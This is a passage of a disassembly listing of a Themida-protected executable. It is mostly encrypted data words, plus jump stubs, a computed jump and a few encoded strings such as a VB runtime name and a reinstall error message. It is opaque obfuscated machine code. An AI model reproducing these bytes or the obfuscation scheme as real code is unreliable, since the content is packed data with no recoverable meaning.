dd 0C1D52720h, 0F1C3406Fh, 6360B78h, 0EE4E1AB6h, 7224AD4h
dd 0CD504AB2h, 923343A1h, 0B51242ABh, 6A4EDE12h, 29728517h
dd 0A046E324h, 77A80216h, 8DC5B98Ch, 65DAE12Bh, 535FBBCBh
dd 758D8D3Bh, 0FC061B44h, 27218D89h, 89600615h, 1509B585h
dd 0BE906h, 2C720000h, 0C9956ECFh, 0DD5469BAh, 85C761A3h
dd 61504CDh, 6E94h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ch, 29C35242h, 0D0F47D6h, 0D0FF502Ch, 0C7C78B66h
dd 15111585h, 6, 0D7FDBB00h, 0B58B7898h, 6150BF1h, 3375B5FFh
dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
dd 50400000h, 50F554C3h, 0C4805BF9h, 0C995FF83h, 9061502h
dd 1510F59Dh, 0FF006A06h, 152E2195h, 0EBC08B06h, 68875A0Ah
dd 0BF0EF22Bh, 0E9D8A596h, 24h, 6F189A5h, 8 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5DE465
; ---------------------------------------------------------------------------
db 0D6h, 58h, 0E8h
dd 2393160Dh, 0F060DD52h, 3AAA0E25h, 0F666C45Bh, 9003881Fh
dd 0FC33C232h, 0B56A0B7Bh, 12EC737h, 50831282h, 0B692B78Eh
dd 9859169Dh, 9E0E6DC6h, 864F48ECh, 0E83A0A7Bh, 0E05139EDh
dd 0AEC3F363h, 0D141C04Ch, 2EC7E8E5h, 24128201h, 0FA3CAC0Fh
dd 1E1888E9h, 13B41B82h, 7EB540B0h, 63E78EFEh, 2287CA79h
dd 5AD91086h, 6DD3ACEAh, 0FF7DAE5Ch, 159A878Fh, 22C811B4h
dd 0E2B31086h, 58EBF1CDh, 10862331h, 15FFEBBCh, 0A5072C2Eh
dd 735A5535h, 0A3E65D7Fh, 0E1108623h, 477FFF7Ch, 0D1E25E2Bh
dd 0C7CF839h, 0AD39BA69h, 0C939BF4Bh, 0F0DFF0CDh, 801F3FC6h
dd 0DA5B1086h, 8BD356F3h, 905997A8h, 2D000000h, 5F57C724h
dd 86F2BFE4h, 933ABB10h, 0E45F7D5Fh, 1086F2BDh, 93B66F40h
dd 5A1086F2h, 59396E49h, 0C0A42588h, 4AFE6B2Ah, 0A8697A8h
dd 0C4000000h, 0A6680793h, 4E3C1FA5h, 55C524E6h, 81F15061h
dd 0FD249FBDh, 801086F2h, 970764AFh, 825339F3h, 76D69ED7h
dd 2EDB8F14h, 475C5ACAh, 314274E4h, 51C143CFh, 4F476865h
dd 7E6558DFh, 6E842BB2h, 0C38CD570h, 5E6F1086h, 8AFA7FACh
dd 0C67D5FEBh, 1086C383h, 80B1596Ah, 81F17703h, 2461C7AEh
dd 536056C6h, 81387EEEh, 0A022A518h, 0A8052E30h, 0EC435238h
dd 0A171F8Fh, 470D4AABh, 1EABE6CFh, 5EBEE342h, 7B3D1086h
dd 865E81C8h, 745B6C10h, 32DD5B5Bh, 0C86BBE8Bh, 5ED197A8h
dd 0E5000000h, 6056C624h, 9482F253h, 0C82A951Ch, 0C410258Fh
dd 1D990D14h, 1C8B900Bh, 0A465052Ah, 0F03FD646h, 0FFF42292h
dd 0AB0D0979h, 0C910B3A9h, 0B41086DAh, 1D9007E3h, 0A844F12Ch
dd 4F3797h, 24530000h, 2B8856C6h, 6D6254C4h, 22A28F7Dh
dd 960384B2h, 666CB27h, 0BBAFA096h, 997CEC4Eh, 39C52493h
dd 724B4BBBh, 6650C041h, 0F5504669h, 1086F2A9h, 0AA07D5C9h
dd 0E1DED848h, 86F21D44h, 1BCFE010h, 7D004974h, 397A81Ah
dd 1, 0DF624F17h, 5D56276Fh, 999A70E0h, 0C108BB1Ch, 0AC1086F2h
dd 0B4AAB49Bh, 86F2C811h, 0B1E2B310h, 0D8B5E151h, 8CEF0432h
dd 8EF1421Ch, 0F373962Dh, 29FA1086h, 0CBAA6406h, 53D4DDFFh
dd 0F31F42E3h, 0CDDE1086h, 0A74B721Dh, 0F3CB0EB5h, 0C5B21086h
dd 0CEBFF767h, 0AD0809E1h, 0E1F6583Dh, 0D49A7913h, 0F39D4D53h
dd 784B1343h, 169BA6ACh, 0BDB6E0B1h, 0F827CE3Eh, 0A80B0B7Bh
dd 16939763h, 9235A811h, 0DFFDC131h, 93973D64h, 47FEC016h
dd 16939702h, 13F7D8E9h, 0BC48AB78h, 0E9E6D040h, 60E3D0C6h
dd 4DADC6F0h, 0AC5EBE5h, 9BB4412Dh, 0CF12B19Bh, 0AE16939Eh
dd 0A515969Dh, 95058071h, 0D4BDACA1h, 4B0FFAE9h, 7BF985E6h
dd 1D320B0Bh, 2C9B426Dh, 567F5FCFh, 0BB7F8D5Eh, 0B9D5E26Bh
dd 0BA705C37h, 0C3EE7D6Dh, 9DBD5D36h, 135BEh, 0BABDA00h
dd 3D903DBh, 86F21940h, 63E2E410h, 1086F23Eh, 27C3ECBDh
dd 9BF67C7Ch, 843F0116h, 1693F65Dh, 62A71E20h, 91693F6h
dd 0FE381738h, 7F1686E5h, 0B3E353B0h, 0C9CD3DBEh, 0AFE757D8h
dd 0E3D343C2h, 5D8639E0h, 0EDDA05ACh, 0D3771E8Eh, 0F6173A09h
dd 0C5D61693h, 1E036625h, 50899DBDh, 9D000000h, 0DE0EABh
dd 86F23C45h, 0A8EEBF90h, 0FB6BCDE6h, 0F26DB40Fh, 0CE909086h
dd 0A3930365h, 0E6D9C0AAh, 0D141A70Ch, 76C27F39h, 2C8D86F6h
dd 0F8CB93BCh, 1086F2F1h, 0E6CAAB7Ch, 96h, 64BFAE4h, 0E51086F2h
dd 0F23960E3h, 0F3C41086h, 0AB062EDCh, 0CC3CBF0Bh, 0DEF161C7h
dd 0DE00DE00h, 86F22267h, 4DF8C910h, 1086F204h, 5DDDD6E7h
dd 36D4A9EDh, 9C062B87h, 55415216h, 4F6FDF5Ch, 7C6EDE62h
dd 7D686DF1h, 0D07B50DAh, 0C043F09Ah, 0BDDF6650h, 4316932Eh
dd 0BC875A7Bh, 0A0CB0926h, 0CAA01073h, 84E7E0CFh, 85398114h
dd 82538955h, 2D25CEBh, 0DCC7A379h, 10B7B238h, 0B9AAECBDh
dd 0E9CCCA3Ah, 0FDC18D40h, 0CFE050B1h, 0FF8054EFh, 0A4751A92h
dd 0BAB6BD1h, 49AE03DBh, 982B31D9h, 16A236FCh, 9A0F361Fh
dd 0E34F5AAEh, 90869707h, 0E5B020A3h, 397DED4Eh, 6AE195BAh
dd 31824417h, 0E8961D1h, 5BCB289Fh, 0F7CE90BAh, 1780E5D2h
dd 0FB68899h, 1780E5CAh, 90AE0B1h, 2E9E1EAAh, 9C1C1501h
dd 697EC434h, 250A31BBh, 27971819h, 3BEAC943h, 0CD795E94h
dd 33E7E072h, 9C1F0CFEh, 0D705492Ch, 80FC256Ch, 54DBC817h
dd 0F2DDB2E4h, 28981B18h, 0A86EEh, 6FC40000h, 0A19E9808h
dd 4B2F51C9h, 5C5ACA24h, 4274E447h, 3363D331h, 4D49B93Eh
dd 3066D654h, 474FBF43h, 3066D65Ah, 6452C243h, 3C7AEA4Fh
dd 0E0895078h, 430FBD55h, 0CD8136C5h, 515204E9h, 8108E5C1h
dd 83482BC5h, 0F0E5814Dh, 8114CD35h, 0C9351CEDh, 5DE80104h
dd 8704E883h, 685C2404h, 1D90h, 52240C89h, 0C281E289h
dd 4, 4EA81h, 14870000h, 1C895C24h, 44B26824h, 0C8B061Bh
dd 4C48324h, 241C8B54h, 4C481h, 0EC830000h, 240C8904h
dd 0FF08438Fh, 835B2434h, 0C8B04C4h, 0E0895024h, 405h
dd 40500h, 4870000h, 1FE95C24h, 93FFFA34h
db 44h
; ---------------------------------------------------------------------------
loc_5DE465: ; CODE XREF: Themida_:005DDEDCj
mov eax, 61B49AAh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dw 2C5Ah
dd 0C3C465E3h, 9D9845F9h, 727356D4h, 7CCE57CDh, 37D44544h
dd 5F6A7CD7h, 62555C35h, 1D0521B2h, 0EFC704B0h, 8CA22FD0h
dd 0EE3121C5h, 3B17278Ah, 0C124A33h, 5778589Bh, 9332698Fh
dd 58D71DE5h, 0D530D4Dh, 0A1F30345h, 0DBE92EF5h, 396D7547h
dd 9BFB7F01h, 0FCB61446h, 5EC539F6h, 0DCB45647h, 61B46DD7h
dd 13E826F1h, 0E3000000h, 34164AF0h, 2285473Ch, 0DF317A8h
dd 200594C8h, 0CE81D88Dh, 60698E10h, 99DC8059h, 647AC181h
dd 0C8800000h, 81D22B32h, 0C0E58EF0h, 113C8B45h, 0E1D04BBEh
dd 34C78142h, 0E8126CACh, 9, 0ED60E2Bh, 891D649Bh, 28E0F5Ah
dd 51000000h, 0C781585Bh, 20B6A0F5h, 84D08166h, 0ECC781B2h
dd 607E2914h, 0E8C3B70Fh, 0Ah, 9F9BB7D5h, 108B9368h, 0BB66F4FDh
dd 615F772Dh, 0F113C89h, 1B85h, 14E95600h, 47000000h, 23803EBEh
dd 361C89B7h, 0B882B891h, 908A751Dh, 5B194A15h, 5B525656h
dd 0EA835E5Bh, 0E6816604h, 0FA81D8A4h, 0FFFF9C40h, 0FF73850Fh
dd 8B66FFFFh, 0CE8C1h, 0CDC00000h, 0BDFDBB11h, 28764DA6h
dd 0EE9FED9h, 1F000000h, 0C6C5F8A9h, 3DE431D1h, 213E4135h
dd 14E95BBCh, 94000000h, 961A2E02h, 0B80B6ACAh, 0DC5A87ECh
dd 0CFF2D273h, 816EA5D4h, 59C3C3h, 33D48A00h, 1834FFC0h
dd 8F0Fh, 81590000h, 26BCD9E9h, 0AE921h, 0D3630000h, 0CBB35CCCh
dd 86BD9D59h, 5672F181h, 0F181485Bh, 1DD55A15h, 512CDA80h
dd 4810Fh, 0BF660000h, 48F4581h, 12E903h, 7A460000h, 0A36E7519h
dd 33712E7Bh, 0FC4DFF8h, 0C35979A0h, 4F03E881h, 0BF0F0208h
dd 0FFC081FBh, 6602084Eh, 0F8C1C681h, 0A6F4F881h, 850FFFFFh
dd 0FFFFFF8Dh, 0E9B7B9BAh, 17AE944h, 0F16A0000h, 60DD6869h
dd 3A437C83h, 755F6D5Ch, 6361706Eh, 72656Bh, 6B636170h
dd 652E6465h, 6578h, 3Ah dup(0)
dd 43330000h, 6F6E6E61h, 69662074h, 2720646Eh, 2E277325h
dd 656C5020h, 2C657361h, 2D657220h, 74736E69h, 206C6C61h
dd 73696874h, 70706120h, 6163696Ch, 6E6F6974h, 75685400h
dd 4D54526Eh, 6E6961h, 62765F5Fh, 72615661h, 4E747354h
dd 65h, 7 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5E045A
; ---------------------------------------------------------------------------
push 61B4F81h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B5080h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B5191h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B5264h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B52A3h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B535Bh
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B53BFh
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B5427h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B5C15h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B5C87h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B5D2Eh
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B5E4Dh
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B5EC7h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B5F7Bh
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B602Bh
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B60B5h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B670Bh
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B6823h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B68B4h
jmp loc_581882
; ---------------------------------------------------------------------------
align 4
dd 2FC636h, 0AF841181h, 0E837DE4Eh, 0A67D1888h, 6A41D444h
dd 9C0C6E21h, 55C52AF9h, 0A11173C0h, 6CDC5FD4h, 0B5103E89h
dd 169DBC6Ch, 4FAE8E0Fh, 0F293B68Dh, 4DF81086h, 1086F204h
dd 596AD6E7h, 930380B1h, 0BD2D8EA3h, 0FE2ED2D8h, 0FB2D65E0h
dd 0A7B0169Bh, 0C2612EC2h, 0C8CEE164h, 9372206Dh, 0AA07CD16h
dd 0C6DBDB4Bh, 0CFC0F666h, 208F0AE0h, 0BD9DC429h, 2F4C9Dh
dd 0AB600000h, 0AE03DB0Bh, 0CAD7DF4Fh, 0D9DAF565h, 0D1AEE858h
dd 90A02339h, 0AD169BF5h, 0F21B9A9Ch, 7B1693F1h, 1DA0A914h
dd 0A39DBD1Dh, 0C0h, 0E1624F77h, 0B3D66D71h, 3A1086F2h
dd 33908169h, 5CDED3C3h, 60E1D2ECh, 321C1AF0h, 24128201h
dd 1B8BE82Bh, 0CB48221Bh, 0A5BEF868h, 823FD646h, 1086F617h
dd 0BEA5AD9h, 0EF279714h, 0B985B589h, 9C01460Ah, 7F162716h
dd 87578737h, 8B8473BCh, 1D21F210h, 2393F23Fh, 0F868CA47h
dd 34A4061Dh, 0BED06469h, 117183B1h, 19E9h, 3CD949A5h
dd 831282E7h, 14E151ACh, 4C29991Fh, 12E353D7h, 179B1695h
dd 0DE61CEA7h, 1C98876Eh, 0D95AC9ACh, 133B8C69h, 9DBD69B0h
dd 0E9531416h, 747D864Fh, 0A009053Ch, 81E949CAh, 61E410DEh
dd 1086EE38h, 6AE5F2C3h, 9808659Ah, 26FD98B7h, 7CC055C5h
dd 3DB0BABh, 9BF5F040h, 7ABC8D16h, 93F1D2FBh, 0C9F49B16h
dd 0BD1CFD80h, 15949D9Dh, 0EE9C71A5h, 0DB4Eh, 0CA4B8C00h
dd 2FEAE109h, 24B96109h, 525F57C7h, 2F9680F0h, 1086F6A2h
dd 47B73A77h, 950566A3h, 990968C9h, 0A6B8A2F1h, 86F7FA1Fh
dd 19948110h, 27E486A9h, 4CBC38C4h, 0F1C53363h, 0FDDFFDC1h
dd 86F70346h, 31D9EA10h, 9C00CE92h, 16ADAF16h, 1693EAF3h
dd 0EF86A97Ah, 71E1466Bh, 0F8A24845h, 7F461848h, 108B81D3h
dd 1B340F48h, 0EFFED0D3h, 0B48A9BFBh, 0EA8BFB7Fh, 0B845B535h
dd 0B1BE949Dh, 0EABC383Eh, 0A4000018h, 0E43BDA4Ah, 0B3801585h
dd 1C13E252h, 0DA492C9Ch, 8E0DE858h, 0B020A21Dh, 79E94EE5h
dd 0B525879Ch, 80F053E0h, 49FCE2F5h, 169DA200h, 24122AEBh
dd 0BBDE65C6h, 421086F2h, 68B75E71h, 50FA9B0Bh, 4571E163h
dd 0F2A5EC57h, 77481086h, 68D85B58h, 81B9512Eh, 5F57C724h
dd 3590F152h, 1086F2ECh, 491BE8Fh, 0CD202B6h, 9BF69539h
dd 77475816h, 0F6BBDE65h, 71421693h, 0F5189B99h, 821693F6h
dd 0E94AA817h, 251A1C8Ch, 21E34645h, 0CB699DBDh, 3D000000h
dd 0E3935EB2h, 0A4B1ABB3h, 0C3335FB2h, 7776A1Bh, 6FE25656h
dd 17FBAA40h, 56169B30h, 0F50AB945h, 6EE3344Fh, 9AC49ACAh
dd 0FCAE1699h, 9DD14D06h, 0FAD3C3ECh, 0B319B510h, 0A4BACC2Ch
dd 4323F821h, 0D8B283F0h, 59DFD7E8h, 736975A5h, 432389D0h
dd 0C7A374F0h, 0B553CE75h, 192AF65Ah, 1C8CEC45h, 68CBE86Eh
dd 0F251CB00h, 103FC866h, 0DD4DAE85h, 0C9F9F40h, 4EB6C0D7h
dd 17D9h, 2CC939B5h, 730272F7h, 44D141BCh, 7C1989EFh, 42D343A7h
dd 76B2665h, 0CE31FE97h, 0C68B75Eh, 0C92AF99Ch, 430BBC59h
dd 9DA35980h, 0D9632416h, 5F57C724h, 410425D9h, 1086F218h
dd 0E1FDD2E3h, 690171D0h, 0F6AC70D3h, 4051169Bh, 5EB287B5h
dd 7B9E2537h, 21086F2h, 12820231h, 593F2B24h, 0DA6975A5h
dd 169BFB76h, 0AF1F9C95h, 0C4F49667h, 6F982BF3h, 0E891BAE7h
dd 6FD6E818h, 9BA21F5Fh, 0EBF1CDDEh, 0D5DF3158h, 6BCFBC83h
dd 0EDC2BBFBh, 0D5A90FFDh, 360F9CADh, 0D5E54A8Fh, 57603183h
dd 0F8D74CC0h, 0FE6ECDE6h, 8E7B4A0Ch, 6B85CC1Ch, 4571E146h
dd 35FEA248h, 0C586D427h, 0EBF3DC5Bh, 20F565C6h, 0BD40B013h
dd 24803116h, 6CB274Dh, 88000017h, 48D7BE2Eh, 879C79E9h
dd 50DFB626h, 3EF580F0h, 0F2A94CBCh, 34A406B9h, 0FD6DD261h
dd 39A90B18h, 0F464C75Ch, 1DA8B621h, 169DA0F4h, 2446F677h
dd 1DC657C7h, 4ABDEB94h, 16C7C82Ch, 67C70000h, 0B0111EF7h
dd 0FF7EB540h, 0B739E68Fh, 181AE47h, 0E4A70491h, 3CD949A9h
dd 851080E7h, 37DE4EAEh, 7A1B8BE8h, 9BBE8549h, 62169DA0h
dd 0C7249BA1h, 25D95F57h, 0CA5AE9F5h, 0E9169C0Eh, 0FFB6BC8h
dd 0B6F79EAFh, 0EA0D4A6Bh, 18897995h, 3B9EA224h, 39651Ch
dd 6090306Ah, 0BD63E75Eh, 390A108Eh, 0FA895E65h, 85AEA105h
dd 6E83B323h, 0A4999D0Dh, 5B9DF8Bh, 623A09D5h, 0E3BE4F12h
dd 0A256E4D2h, 68D96C72h, 0F3B87754h, 0F1421C22h, 0BF6C1E8Eh
dd 2168DB3Ch, 63A58651h, 34CE092Fh, 4253CD0Dh, 387EEE51h
dd 968D6847h, 15D8A515h, 4608EB5Ch, 160FD430h, 0FF7F0000h
dd 0B839E68Fh, 0F776AD48h, 0BF41EE87h, 0F979A64Fh, 0FCAFEC89h
dd 44D141C1h, 7D1888EFh, 3FD646A6h, 522393F0h, 0A3E65D81h
dd 4A169DA1h, 93B673C9h, 5F1086F2h, 1087023Eh, 87129BC2h
dd 0D23E5F10h, 7A5B1086h, 843F5071h, 1086AE5Dh, 77280F20h
dd 0EF1CCE14h, 0B8811C8Ch, 0A7BDEAE2h, 15AB258Dh, 63E30000h
dd 0AC0D22F3h, 6BCA593Ch, 0A3051AFBh, 6DCD6233h, 88318FDh
dd 0D0A51595h, 896CDC63h, 0CBAA1A9Ah, 8E67D754h, 67AA1945h
dd 6169DA1h, 624FB785h, 0D66D71E1h, 1086F2B3h, 1781693Ah
dd 2A9A1B67h, 39233905h, 86F2478Ah, 0BF1D2610h, 34D72EDCh
dd 0FAA9416Eh, 169CA0AEh, 34FF9EAFh, 2FB7D5B2h, 1543BD45h
dd 0EB4B0000h, 24859A7Bh, 0F352E1B4h, 0BB3DF283h, 0F575AA4Bh
dd 0F0BBF085h, 28CD3DBDh, 710474FBh, 43D242C2h, 761F8FECh
dd 9FC2814Dh, 5E169DA6h, 624F9F9Dh, 9A9773E3h, 746DA919h
dd 0AC8F87F7h, 42A7A20Dh, 0CA97A81Eh, 26h, 0F297B6DEh
dd 6AC91086h, 0AAE959DEh, 1BFAD545h, 0E277F496h, 1D3A0410h
dd 5CC86025h, 938169D4h, 14D42Fh, 8D4F0B00h, 86F293B6h
dd 44DF810h, 0E71086F2h, 0B1596AD6h, 0A3930380h, 2D316115h
dd 9C0B3A96h, 6C724316h, 0EB8ED372h, 406D1693h, 696650C0h
dd 85C9A446h, 0EBA5EC57h, 77481693h, 0D591D93h, 4E103FAFh
dd 82E54E10h, 7A2B2412h, 1693EB57h, 68B11416h, 131693EBh
dd 5E3D2D02h, 108EEEBEh, 3B286E3Fh, 6AB4ABAh, 1CACECC6h
dd 4E27971Ah, 44FF60E1h, 1CACEC1Dh, 0B6E0CFE0h, 0CACC3CBDh
dd 7057862Fh, 0BF9DA111h, 0ACECDD04h, 42873E1Ch, 291CACECh
dd 0F397A818h, 38A00D98h, 0F142A3D2h, 0AF6C2C94h, 4065E5C1h
dd 59C9246Fh, 9A8A605Dh, 2E9h, 0AE1EA390h, 624F58BCh, 38296DDDh
dd 88624DBDh, 203E6E12h, 9C1F7DA5h, 0E72F0016h, 6E0777FAh
dd 0F8D840C1h, 144CF577h, 3D764867h, 62D233BFh, 0AD6F9D4Dh
dd 20038DA8h, 836733CEh, 9253F518h, 82AF7F16h, 0B7888EFEh
dd 0A690007Ch, 0E7D6C1A9h, 24F161E0h, 0B4FA1D3Ah, 0A41D0169h
dd 0FC2CCCC6h, 227F63E2h, 3CFE1089h, 0ACC24089h, 9A292B1Ch
dd 1CACC277h, 2D0A25F6h, 0D9E4F541h, 0BBFBD4FAh, 41D444A6h
dd 0F62090F2h, 0ACF1488Fh, 5C83361Ch, 0D4FDC896h, 971CACF1h
dd 0C327E486h, 44F4C253h, 87E94A14h, 13361F17h, 1B42B255h
dd 53F2CCE3h, 1CAC540Eh, 282EDCEDh, 0B154119Dh, 1303141Ah
dd 20590C49h, 18BA8DECh, 0D242C172h, 1F8FEC43h, 31759C17h
dd 46B02B9h, 3191A294h, 0C970D5C1h, 0AF5ACD16h, 59ECF200h
dd 2B93130h, 585ECE2Eh, 2E8B967h, 674AB211h, 227186B8h
dd 1686EB28h, 75002F20h, 0F3CB3BBEh, 671B46E2h, 0A2BCAE25h
dd 0B949FE23h, 0BEAC7D02h, 6EDE6350h, 8FCD9128h, 0B949ED34h
dd 0CBBF9002h, 6BCEF9E4h, 22871AFBh, 0C4A9E7D5h, 8565E693h
dd 0F5955A1Eh, 0A745h, 0C6246100h, 0C72B8856h, 7C6E5F57h
dd 3392CC92h, 1086F2EEh, 0B424A08Dh, 0C8A28D82h, 3F77E74Bh
dd 299E1188h, 0E9BC59C9h, 97A81E84h, 3AAA0D26h, 72F450h
dd 24C80000h, 525F57C7h, 940465F1h, 0D5BC7BBBh, 0EE5EDDEAh
dd 1E0F9A07h, 559597A8h, 93000000h, 0B2830BC2h, 37D35A72h
dd 0B68D4F03h, 1086F293h, 0F7A1495Ah, 7C471747h, 169BF230h
dd 0EC5CDED3h, 8D899AFEh, 0A31372BFh, 0D5F09A73h, 1693F288h
dd 0ACEA5ADEh, 0D2C434B7h, 0A935B6FDh, 0E0DDD949h, 0BB6EC7CFh
dd 0B45BCF14h, 1DBD4009h, 2439DBDh, 57000001h, 7BE3624Fh
dd 65DDCACEh, 67AF80A5h, 0FABEF496h, 2151F4CAh, 0DC169BFEh
dd 3EBEF3CBh, 13F7C8CEh, 1DA90819h, 13EC2A9Ah, 2A35223Ch
dd 71E892Ch, 4AC811B4h, 0E2B31693h, 0E14E1DCDh, 0ADC6F060h
dd 1FDADC4Ch, 5F82411Bh, 1E16934Bh, 8B325D0Dh, 714DBD3Ch
dd 0A8560564h, 64C44445h, 0E2CDC2F4h, 0B5386D08h, 3B9DBD6Ah
dd 85h, 0EB0CAB4Fh, 0F20F52F1h, 0DDEE1086h, 86F22168h
dd 0D4FBCC10h, 5DDFD40Ah, 0AD4A9EDh, 86F2163Bh, 26C4D510h
dd 86F27277h, 0EE28F990h, 86F34687h, 0D4FBAA90h, 2595151Eh
dd 84AC4B45h, 251B969Ah, 23A2BC2Dh, 9086EAFEh, 0BB83AC7Dh
dd 0E486F676h, 0EA8EF352h, 1C2D1086h, 93171C42h, 0AB1AF323h
dd 1086EA66h, 37563405h, 577A4913h, 891086EAh, 3304BC2Ch
dd 1B6B57h, 50610000h, 960665F1h, 0EA807DB9h, 6BB532h
dd 0BEF30000h, 0D9CACC3Ch, 24C6E959h, 59C924F0h, 0C3426F5Dh
dd 0CA796353h, 1086F287h, 907A5566h, 0C7AE1EA3h, 5BCB2E83h
dd 9EFF82AFh, 86F2E227h, 97B88910h, 249FBD9Fh, 1086F2FDh
dd 0F262A71Eh, 38091086h, 0DDD3B788h, 4DA8EE1Eh, 1086F203h
dd 51F4EAECh, 1086F208h, 514822F3h, 1A7EEB5Eh, 132097A8h
dd 79A941B1h, 0B3Fh, 0DD624F8Dh, 0B654296Dh, 72F541FCh
dd 143B1402h, 900A0D4Ah, 0FF3E6499h, 0E4A2210Bh, 7F9A3221h
dd 19A4A518h, 9F215359h, 62h, 0A818949Dh, 22C2838Fh, 0AC5E65C7h
dd 0E010AB88h, 1C4500DEh, 0DF1086F2h, 0AB1A1CCEh, 1086F266h
dd 83023405h, 0B9FABFB0h, 3363D332h, 4D49B93Eh, 7DC03AAh
dd 97C491A3h, 0E572163Ah, 36A99713h, 5A7573DCh, 1CD609B0h
dd 1A79933Bh, 0DBFCBB65h, 0A35AAB53h, 0EDA842E3h, 411B2880h
dd 21108h, 10AB2400h, 6E52BCE0h, 0DF66C724h, 1086F2BAh
dd 7F5F7041h, 69D9545Dh, 86F295BCh, 0A3475810h, 0A6AB8F6Fh
dd 68A82673h, 2DB9h, 10ABCD00h, 4500DEE0h, 1086F21Ch, 0ED47CC76h
dd 0E858D84Dh, 4FFF33D7h, 86F2A8F4h, 407C4D10h, 0C9246B4Fh
dd 72566359h, 1FB5h, 10ABD100h, 0F44FBCE0h, 1086F2A8h
dd 4FCAF2DBh, 311488Dh, 0C46859BCh, 0C924EE26h, 72566359h
dd 285328B6h, 56C6240Fh, 54C42B88h, 3E73D7B6h, 74494DBDh
dd 0A6169596h, 5ECE2C9Bh, 7C62E483h, 279080C9h, 0B05A6BEEh
dd 92F1D609h, 0FF37A706h, 311E8EF2h, 50B3801Eh, 5080E1E0h
dd 4C3EABDh, 0F56737A7h, 90355CE7h, 0E7B8EE27h, 35A50603h
dd 39A90829h, 0D76A00FDh, 4C908AE8h, 31EE2790h, 0D7C26160h
dd 0EC5CDFE8h, 31A12112h, 0B36D7A05h, 76F4D3FAh, 43C06F06h
dd 61004ADBh, 614E5157h, 0AE0F7360h, 7FB72785h, 9CE3269Dh
dd 0B98AEE27h, 85C9F496h, 68EE279Ch, 9F168A57h, 1171C230h
dd 637D96A1h, 1FBF861Ch, 0CD3DBE6Bh, 13830031h, 44A66F4Eh
dd 253E78E8h, 525E58C8h, 57EE04ABh, 0EE27B832h, 0F1C7E8B9h
dd 0B734933Ah, 99D90A4Fh, 183768ACh, 0DE4EAD86h, 91F23F03h
dd 6AC84921h, 648E7FAh, 0EA5ADBD8h, 2786163Bh, 26C4D5EEh
dd 83446Bh, 0D8BB5598h, 8DA2F703h, 0C72449F1h, 90526557h
dd 2A818BC7h, 246F65D6h, 6C6155C5h, 0CAB967Eh, 0F23158EBh
dd 0EBBC1086h, 0AB8FD8C4h, 0A82673A6h, 3EB968h, 0ABCD0000h
dd 4FE0DC0Ch, 86F2A8F4h, 627C4D10h, 7F835C75h, 0C4A609FFh
dd 0AA864F50h, 9F070BADh, 526AEC9Eh, 4F64C524h, 87CA7BEBh
dd 661086F2h, 56427A55h, 0DD624F72h, 271D7D6Dh, 0F9000000h
dd 0E0DC0CABh, 0F2A8F44Fh, 0F2DB1086h, 246B4FCAh, 566755C5h
dd 8C189F94h, 857ABC2Ch, 5FD8DAAh, 0A8C20D90h, 0F8B65AC2h
dd 10108703h, 0FFFD64B4h, 97B688FFh, 501086F2h, 6EF085B5h
dd 0A6CFE369h, 0E505D242h, 0E92AC09Eh, 9B1A1C8Ch, 1086D576h
dd 9F970768h, 0D5C13192h, 9E547B32h, 86D5E227h, 97B88910h
dd 2487ACAEh, 127182B4h, 0B2DD8DA2h, 0D141BC0Bh, 0D343A40Dh
dd 0F969CEE3h, 0F55934D6h, 0C8CE3EBCh, 931613F7h, 0D54E9332h
dd 1C2D1086h, 0BBF86233h, 65CAC939h, 0DC9B15F5h, 8F0B6AACh
dd 6152DD62h, 2C4571E1h, 0DC595DCDh, 0E545822Dh, 49F05A75h
dd 0C3825C96h, 52D0899Eh, 0EF9E4C5Dh, 0D9FE998Ah, 1D612h
dd 96B62600h, 511086F2h, 7B617DADh, 0C726B236h, 0B93B7857h
dd 0F602A149h, 25169C1Fh, 4F3BAB0Ch, 68B75E6Fh, 88999D0Dh
dd 647DB929h
db 5, 95h
word_5DF622 dw 17A1h ; DATA XREF: Themida_:0057ACC0o
dd 0F123F67h, 0BB9C0C6Dh, 0C5EA8DBBh, 55364AF9h, 0E6B7108Eh
dd 0C0DC4617h, 0AF1321B1h, 0D55h, 0A84DBD39h, 0EF86F67Bh
dd 0C055C540h, 0F89D0D73h, 0BE57C72Bh, 8BEFA2E9h, 42A57A1Bh
dd 90EC43D2h, 5DDE5520h, 8FBF08EDh, 9DAEED34h, 2D0F9016h
dd 5F57C724h, 0E9F525D9h, 0A23FA55Ah, 70F72416h, 231383E4h
dd 142A052Ah, 472E9E1Fh, 0A9ED5DD8h, 0CBCB3BB8h, 5569995Dh
dd 276FDF5Ch, 23A2B456h, 10874D87h, 8DF88596h, 4EB1BB3Bh
dd 0CE3CC28h, 4BAB0000h, 84E53ADBh, 53B28114h, 9B1D12E3h
dd 55D54A2Bh, 109B10E5h, 0C8AD1D9Dh, 9164D45Bh, 0E3B222A2h
dd 967FEF4Ch, 7FA2212Dh, 0FE169DAEh, 0C724BF7Dh, 25D95F57h
dd 0E2F3E9F5h, 4A5118A8h, 2281695Fh, 169B94AAh, 66570C49h
dd 262087F6h, 42155E9Ch, 0F44F26E1h, 169346ADh, 0BA507F50h
dd 0D3603506h, 1888E470h, 0A8585E37h, 0AA716678h, 0B2ED1174h
dd 0E95CE288h, 10B74339h, 0C6EBF3C4h, 111EF767h, 0DD824CB4h
dd 670CC823h, 0D6554E48h, 0F6CA3066h, 7D4DF8C6h, 1AACBAh
